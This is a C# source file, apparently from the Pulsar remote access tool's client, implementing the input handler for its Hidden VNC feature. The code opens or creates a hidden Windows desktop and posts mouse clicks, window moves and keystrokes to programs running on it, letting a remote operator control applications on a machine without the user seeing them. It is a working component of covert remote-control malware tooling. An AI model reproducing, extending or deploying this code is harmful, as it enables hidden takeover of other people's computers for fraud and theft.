using Pulsar.Common.Enums; using Pulsar.Common.Messages.Monitoring.HVNC; using Pulsar.Common.Messages.Monitoring.RemoteDesktop; using System; using System.Diagnostics; using System.Runtime.InteropServices; using System.Text; namespace Pulsar.Client.Helper.HVNC { /// /// Handles input for the Hidden Virtual Network Computing (HVNC) feature. /// public class InputHandler : IDisposable { #region Win32 API Imports [DllImport("user32.dll", SetLastError = true)] private static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); [DllImport("user32.dll", SetLastError = true)] private static extern bool CloseDesktop(IntPtr hDesktop); [DllImport("user32.dll", SetLastError = true)] private static extern bool SetThreadDesktop(IntPtr hDesktop); [DllImport("user32.dll")] private static extern IntPtr WindowFromPoint(POINT point); [DllImport("user32.dll")] private static extern IntPtr SendMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); [DllImport("user32.dll")] private static extern IntPtr PostMessage(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam); [DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT lpRect); [DllImport("user32.dll")] private static extern bool ScreenToClient(IntPtr hWnd, ref POINT lpPoint); [DllImport("user32.dll")] private static extern IntPtr ChildWindowFromPoint(IntPtr hWnd, POINT point); [DllImport("user32.dll")] private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount); [DllImport("user32.dll")] private static extern bool PtInRect(ref RECT lprc, POINT pt); [DllImport("user32.dll")] private static extern bool SetWindowLong(IntPtr hWnd, int nIndex, int dwNewLong); [DllImport("user32.dll")] private static extern int GetWindowLong(IntPtr hWnd, int nIndex); [DllImport("user32.dll")] private static extern bool GetWindowPlacement(IntPtr hWnd, ref WINDOWPLACEMENT lpwndpl); [DllImport("user32.dll")] private static extern IntPtr FindWindow(string lpClassName, string lpWindowName); [DllImport("user32.dll")] private static extern int MenuItemFromPoint(IntPtr hWnd, IntPtr hMenu, POINT pt); [DllImport("user32.dll")] private static extern int GetMenuItemID(IntPtr hMenu, int nPos); [DllImport("user32.dll")] private static extern IntPtr GetSubMenu(IntPtr hMenu, int nPos); [DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int width, int height, bool repaint); [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern int RealGetWindowClass(IntPtr hwnd, [Out] StringBuilder pszType, int cchType); [DllImport("user32.dll")] private static extern IntPtr GetWindow(IntPtr hWnd, uint uCmd); [DllImport("user32.dll")] private static extern bool EnumWindows(EnumWindowsProc lpEnumFunc, IntPtr lParam); [DllImport("user32.dll")] private static extern bool IsWindowVisible(IntPtr hWnd); [DllImport("user32.dll")] private static extern bool IsWindow(IntPtr hWnd); [DllImport("user32.dll")] private static extern bool PrintWindow(IntPtr hwnd, IntPtr hdcBlt, uint nFlags); [DllImport("user32.dll")] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags); [DllImport("user32.dll")] private static extern bool GetClientRect(IntPtr hWnd, out RECT lpRect); [DllImport("user32.dll")] private static extern IntPtr GetDesktopWindow(); [DllImport("user32.dll")] private static extern uint MapVirtualKey(uint uCode, uint uMapType); [DllImport("user32.dll")] private static extern short GetKeyState(int nVirtKey); [DllImport("user32.dll")] private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); [DllImport("user32.dll")] private static extern bool GetKeyboardState(byte[] lpKeyState); private delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lParam); #endregion #region Constants // Window style constants private const int GWL_STYLE = -16; private const int WS_DISABLED = 0x8000000; // Window message constants private const int WM_CHAR = 0x0102; private const int WM_KEYDOWN = 0x0100; private const int WM_KEYUP = 0x0101; private const int WM_LBUTTONUP = 0x0202; private const int WM_LBUTTONDOWN = 0x0201; private const int WM_MOUSEMOVE = 0x0200; private const int WM_CLOSE = 0x0010; private const int WM_SYSCOMMAND = 0x0112; private const int WM_NCHITTEST = 0x0084; private const int WM_RBUTTONUP = 0x0205; private const int WM_RBUTTONDOWN = 0x0204; private const int WM_DESTROY = 0x0002; // Mouse button constants private const int MK_LBUTTON = 0x0001; private const int MK_RBUTTON = 0x0002; // System command constants private const int SC_MINIMIZE = 0xF020; private const int SC_RESTORE = 0xF120; private const int SC_MAXIMIZE = 0xF030; // Hit test area constants private const int HTCAPTION = 2; private const int HTTOP = 12; private const int HTBOTTOM = 15; private const int HTLEFT = 10; private const int HTRIGHT = 11; private const int HTTOPLEFT = 13; private const int HTTOPRIGHT = 14; private const int HTBOTTOMLEFT = 16; private const int HTBOTTOMRIGHT = 17; private const int HTCLOSE = 20; private const int HTMINBUTTON = 8; private const int HTMAXBUTTON = 9; private const int HTTRANSPARENT = -1; // Window enumeration constants private const uint GW_HWNDPREV = 3; private const uint GW_HWNDNEXT = 2; // Miscellaneous constants private const int VK_RETURN = 0x0D; private const int MN_GETHMENU = 0x01E1; private const int BM_CLICK = 0x00F5; private const int MAX_PATH = 260; private const int SW_SHOWMAXIMIZED = 3; private const int SW_RESTORE = 9; private const int VK_SHIFT = 0x10; private const int VK_CONTROL = 0x11; private const int VK_MENU = 0x12; // Alt key private const int VK_LSHIFT = 0xA0; private const int VK_RSHIFT = 0xA1; private const int VK_LCONTROL = 0xA2; private const int VK_RCONTROL = 0xA3; private const int VK_LMENU = 0xA4; // Left Alt private const int VK_RMENU = 0xA5; // Right Alt private const int VK_CAPITAL = 0x14; // Caps Lock #endregion #region Fields and Properties private readonly string desktopName; private bool isMovingWindow = false; private POINT lastClickCoords = new POINT { x = 0, y = 0 }; private POINT lastWindowDimensions = new POINT { x = 0, y = 0 }; private IntPtr windowToMove = IntPtr.Zero; private IntPtr workingWindow = IntPtr.Zero; private static readonly object syncLock = new object(); private bool isShiftPressed = false; private bool isControlPressed = false; private bool isAltPressed = false; private bool isCapsLockOn = false; /// /// Gets the desktop handle. /// public IntPtr Desktop { get; private set; } = IntPtr.Zero; #endregion #region Constructor and Dispose /// /// Initializes a new instance of the class. /// /// The name of the desktop to handle input for. public InputHandler(string desktopName) { this.desktopName = desktopName; IntPtr desktopHandle = OpenDesktop(desktopName, 0, true, (uint)DESKTOP_ACCESS.GENERIC_ALL); if (desktopHandle == IntPtr.Zero) { desktopHandle = CreateDesktop(desktopName, IntPtr.Zero, IntPtr.Zero, 0, (uint)DESKTOP_ACCESS.GENERIC_ALL, IntPtr.Zero); } this.Desktop = desktopHandle; InitializeModifierKeyStates(); } /// /// Releases all resources used by the InputHandler. /// public void Dispose() { CloseDesktop(this.Desktop); GC.Collect(); } #endregion #region Keyboard Helper Methods /// /// Initializes the modifier key states by checking the current system state. /// private void InitializeModifierKeyStates() { isShiftPressed = (GetKeyState(VK_SHIFT) & 0x8000) != 0; isControlPressed = (GetKeyState(VK_CONTROL) & 0x8000) != 0; isAltPressed = (GetKeyState(VK_MENU) & 0x8000) != 0; isCapsLockOn = (GetKeyState(VK_CAPITAL) & 0x0001) != 0; } /// /// Handles keyboard input with proper modifier tracking and character conversion. /// /// The keyboard message /// The wParam containing the virtual key code /// The original lParam /// The target window to send messages to private void HandleKeyboardInput(uint msg, IntPtr wParam, IntPtr lParam, IntPtr targetWindow) { int virtualKey = wParam.ToInt32(); UpdateModifierKeyState(msg, virtualKey); if (msg == WM_KEYDOWN) { if (IsModifierKey(virtualKey)) { IntPtr modifierLParam = BuildKeyboardLParam(msg, wParam); PostMessage(targetWindow, msg, wParam, modifierLParam); return; } char[] chars = VirtualKeyToChar(virtualKey); bool isPrintableChar = (chars != null && chars.Length > 0 && chars[0] != '\0'); if (isPrintableChar) { IntPtr charLParam = BuildKeyboardLParam(WM_CHAR, wParam); foreach (char ch in chars) { if (ch != '\0') { PostMessage(targetWindow, WM_CHAR, new IntPtr(ch), charLParam); } } } else { IntPtr properLParam = BuildKeyboardLParam(msg, wParam); PostMessage(targetWindow, msg, wParam, properLParam); } } else if (msg == WM_KEYUP) { IntPtr properLParam = BuildKeyboardLParam(msg, wParam); PostMessage(targetWindow, msg, wParam, properLParam); } else if (msg == WM_CHAR) { PostMessage(targetWindow, msg, wParam, lParam); } } /// /// Updates the internal modifier key state tracking. /// /// The keyboard message /// The virtual key code private void UpdateModifierKeyState(uint msg, int virtualKey) { bool keyDown = (msg == WM_KEYDOWN); switch (virtualKey) { case VK_SHIFT: case VK_LSHIFT: case VK_RSHIFT: isShiftPressed = keyDown; break; case VK_CONTROL: case VK_LCONTROL: case VK_RCONTROL: isControlPressed = keyDown; break; case VK_MENU: case VK_LMENU: case VK_RMENU: isAltPressed = keyDown; break; case VK_CAPITAL: if (keyDown) { isCapsLockOn = !isCapsLockOn; } break; } } /// /// Converts a virtual key to its character representation considering modifier states. /// /// The virtual key code /// Array of characters, or null if not a printable character private char[] VirtualKeyToChar(int virtualKey) { if (IsModifierKey(virtualKey) || IsNonPrintableKey(virtualKey)) { return null; } byte[] keyboardState = new byte[256]; if (isShiftPressed) { keyboardState[VK_SHIFT] = 0x80; } if (isControlPressed) { keyboardState[VK_CONTROL] = 0x80; } if (isAltPressed) { keyboardState[VK_MENU] = 0x80; } if (isCapsLockOn) { keyboardState[VK_CAPITAL] = 0x01; } var buffer = new StringBuilder(64); uint scanCode = MapVirtualKey((uint)virtualKey, 0); int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, buffer, buffer.Capacity, 0); if (result > 0) { return buffer.ToString().Substring(0, result).ToCharArray(); } return null; } /// /// Determines if a virtual key is a modifier key. /// /// The virtual key code /// True if the key is a modifier key private bool IsModifierKey(int virtualKey) { switch (virtualKey) { case VK_SHIFT: case VK_LSHIFT: case VK_RSHIFT: case VK_CONTROL: case VK_LCONTROL: case VK_RCONTROL: case VK_MENU: case VK_LMENU: case VK_RMENU: case VK_CAPITAL: return true; default: return false; } } /// /// Determines if a virtual key is a non-printable key (function keys, arrows, etc.). /// /// The virtual key code /// True if the key is non-printable private bool IsNonPrintableKey(int virtualKey) { if (virtualKey >= 0x70 && virtualKey <= 0x7B) return true; switch (virtualKey) { case 0x21: // VK_PRIOR (Page Up) case 0x22: // VK_NEXT (Page Down) case 0x23: // VK_END case 0x24: // VK_HOME case 0x25: // VK_LEFT case 0x26: // VK_UP case 0x27: // VK_RIGHT case 0x28: // VK_DOWN case 0x2D: // VK_INSERT case 0x2E: // VK_DELETE case 0x5B: // VK_LWIN case 0x5C: // VK_RWIN case 0x5D: // VK_APPS case 0x91: // VK_SCROLL case 0x90: // VK_NUMLOCK case 0x0D: // VK_RETURN (Enter) case 0x1B: // VK_ESCAPE case 0x09: // VK_TAB case 0x08: // VK_BACK (Backspace) return true; default: return false; } } /// /// Builds the appropriate lParam value for keyboard messages. /// /// The keyboard message (WM_KEYDOWN, WM_KEYUP, WM_CHAR) /// The wParam containing the virtual key code /// The properly formatted lParam for the keyboard message private IntPtr BuildKeyboardLParam(uint message, IntPtr wParam) { int vk = wParam.ToInt32(); uint scanCode = MapVirtualKey((uint)vk, 0); int lParam = 0; lParam |= 1; lParam |= (int)(scanCode << 16); if (IsExtendedKey(vk)) { lParam |= (1 << 24); } if (message == WM_KEYUP) { lParam |= (1 << 30); lParam |= (1 << 31); } return new IntPtr(lParam); } /// /// Determines if a virtual key code represents an extended key. /// /// The virtual key code /// True if the key is an extended key private bool IsExtendedKey(int virtualKey) { switch (virtualKey) { case 0x21: // VK_PRIOR (Page Up) case 0x22: // VK_NEXT (Page Down) case 0x23: // VK_END case 0x24: // VK_HOME case 0x25: // VK_LEFT case 0x26: // VK_UP case 0x27: // VK_RIGHT case 0x28: // VK_DOWN case 0x2D: // VK_INSERT case 0x2E: // VK_DELETE case 0x5B: // VK_LWIN case 0x5C: // VK_RWIN case 0x5D: // VK_APPS case 0xA0: // VK_LSHIFT (when differentiated from VK_SHIFT) case 0xA1: // VK_RSHIFT case 0xA2: // VK_LCONTROL case 0xA3: // VK_RCONTROL case 0xA4: // VK_LMENU (Left Alt) case 0xA5: // VK_RMENU (Right Alt) case 0x91: // VK_SCROLL return true; default: return false; } } #endregion #region Helper Methods /// /// Gets the X coordinate from an lParam. /// public static int GetXCoordinate(IntPtr lParam) { return (int)((short)(lParam.ToInt32() & 0xFFFF)); } /// /// Gets the Y coordinate from an lParam. /// public static int GetYCoordinate(IntPtr lParam) { return (int)((short)(lParam.ToInt32() >> 16 & 0xFFFF)); } /// /// Creates an lParam from X and Y coordinates. /// public static IntPtr MakeLParam(int lowWord, int highWord) { return new IntPtr(highWord << 16 | (lowWord & 0xFFFF)); } /// /// Calculates relative coordinates from screen to window /// private POINT ScreenToWindow(int screenX, int screenY, int windowX, int windowY, int windowWidth, int windowHeight) { int relativeX = screenX - windowX; int relativeY = screenY - windowY; if (relativeX >= 0 && relativeX < windowWidth && relativeY >= 0 && relativeY < windowHeight) return new POINT { x = relativeX, y = relativeY }; else return new POINT { x = -1, y = -1 }; } #endregion #region Input Processing /// /// Processes an input message and sends it to the appropriate window. /// /// The message to process. /// The wParam of the message. /// The lParam of the message. public void Input(uint msg, IntPtr wParam, IntPtr lParam) { lock (syncLock) { SetThreadDesktop(this.Desktop); // Handle mouse messages if (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP || msg == WM_RBUTTONDOWN || msg == WM_RBUTTONUP || msg == WM_MOUSEMOVE) { int x = GetXCoordinate(lParam); int y = GetYCoordinate(lParam); POINT cursorPosition = new POINT { x = x, y = y }; bool isLeft = (msg == WM_LBUTTONDOWN || msg == WM_LBUTTONUP); bool isUp = (msg == WM_LBUTTONUP || msg == WM_RBUTTONUP); if (isMovingWindow && isUp && isLeft) { // If we were moving a window and now released the button, complete the move SetWindowPos(windowToMove, IntPtr.Zero, x - lastClickCoords.x, y - lastClickCoords.y, lastWindowDimensions.x, lastWindowDimensions.y, 0); isMovingWindow = false; } // Get the window under the cursor IntPtr hwnd = WindowFromPoint(cursorPosition); workingWindow = hwnd; if (hwnd != IntPtr.Zero) { // Get window information RECT windowRect; GetWindowRect(hwnd, out windowRect); // Calculate window position and size int windowX = windowRect.left; int windowY = windowRect.top; int windowWidth = windowRect.right - windowRect.left; int windowHeight = windowRect.bottom - windowRect.top; // Calculate position relative to window POINT clickCoords = ScreenToWindow(x, y, windowX, windowY, windowWidth, windowHeight); // Get hit test result to determine what part of the window was clicked IntPtr hitTestResult = SendMessage(hwnd, WM_NCHITTEST, IntPtr.Zero, lParam); int hitTestResultInt = hitTestResult.ToInt32(); if (hitTestResultInt == HTCLOSE && msg == WM_LBUTTONUP) { // Close button clicked Debug.WriteLine("Closing window"); PostMessage(hwnd, WM_CLOSE, IntPtr.Zero, IntPtr.Zero); PostMessage(hwnd, WM_DESTROY, IntPtr.Zero, IntPtr.Zero); } else if (hitTestResultInt == HTCAPTION) { // Title bar clicked if (!isUp && isLeft && msg == WM_LBUTTONDOWN) { // Start window move operation lastClickCoords = clickCoords; lastWindowDimensions = new POINT { x = windowWidth, y = windowHeight }; isMovingWindow = true; windowToMove = hwnd; Debug.WriteLine("Starting window move"); } } else if (hitTestResultInt == HTMAXBUTTON && msg == WM_LBUTTONUP) { // Maximize/Restore button clicked WINDOWPLACEMENT windowPlacement = default; windowPlacement.length = Marshal.SizeOf(windowPlacement); GetWindowPlacement(hwnd, ref windowPlacement); if ((windowPlacement.flags & SW_SHOWMAXIMIZED) != 0) { Debug.WriteLine("Restoring window"); PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_RESTORE), IntPtr.Zero); } else { Debug.WriteLine("Maximizing window"); PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MAXIMIZE), IntPtr.Zero); } } else if (hitTestResultInt == HTMINBUTTON && msg == WM_LBUTTONUP) { // Minimize button clicked Debug.WriteLine("Minimizing window"); PostMessage(hwnd, WM_SYSCOMMAND, new IntPtr(SC_MINIMIZE), IntPtr.Zero); } else { // Regular window area clicked - forward the mouse message IntPtr param = isLeft ? new IntPtr(MK_LBUTTON) : new IntPtr(MK_RBUTTON); IntPtr translatedLParam = MakeLParam(clickCoords.x, clickCoords.y); PostMessage(hwnd, msg, param, translatedLParam); } } } // Handle keyboard messages if (msg == WM_KEYDOWN || msg == WM_KEYUP || msg == WM_CHAR) { if (workingWindow != IntPtr.Zero) { HandleKeyboardInput(msg, wParam, lParam, workingWindow); } } } } #endregion #region Nested Types /// /// Desktop access rights flags. /// private enum DESKTOP_ACCESS : uint { DESKTOP_NONE, DESKTOP_READOBJECTS, DESKTOP_CREATEWINDOW, DESKTOP_CREATEMENU = 4U, DESKTOP_HOOKCONTROL = 8U, DESKTOP_JOURNALRECORD = 16U, DESKTOP_JOURNALPLAYBACK = 32U, DESKTOP_ENUMERATE = 64U, DESKTOP_WRITEOBJECTS = 128U, DESKTOP_SWITCHDESKTOP = 256U, GENERIC_ALL = 511U } /// /// Represents a point (x,y coordinates). /// public struct POINT { public int x; public int y; } /// /// Represents a rectangle. /// public struct RECT { public int left; public int top; public int right; public int bottom; } /// /// Contains information about the placement of a window. /// public struct WINDOWPLACEMENT { public int length; public int flags; public int showCmd; public POINT ptMinPosition; public POINT ptMaxPosition; public RECT rcNormalPosition; } #endregion } }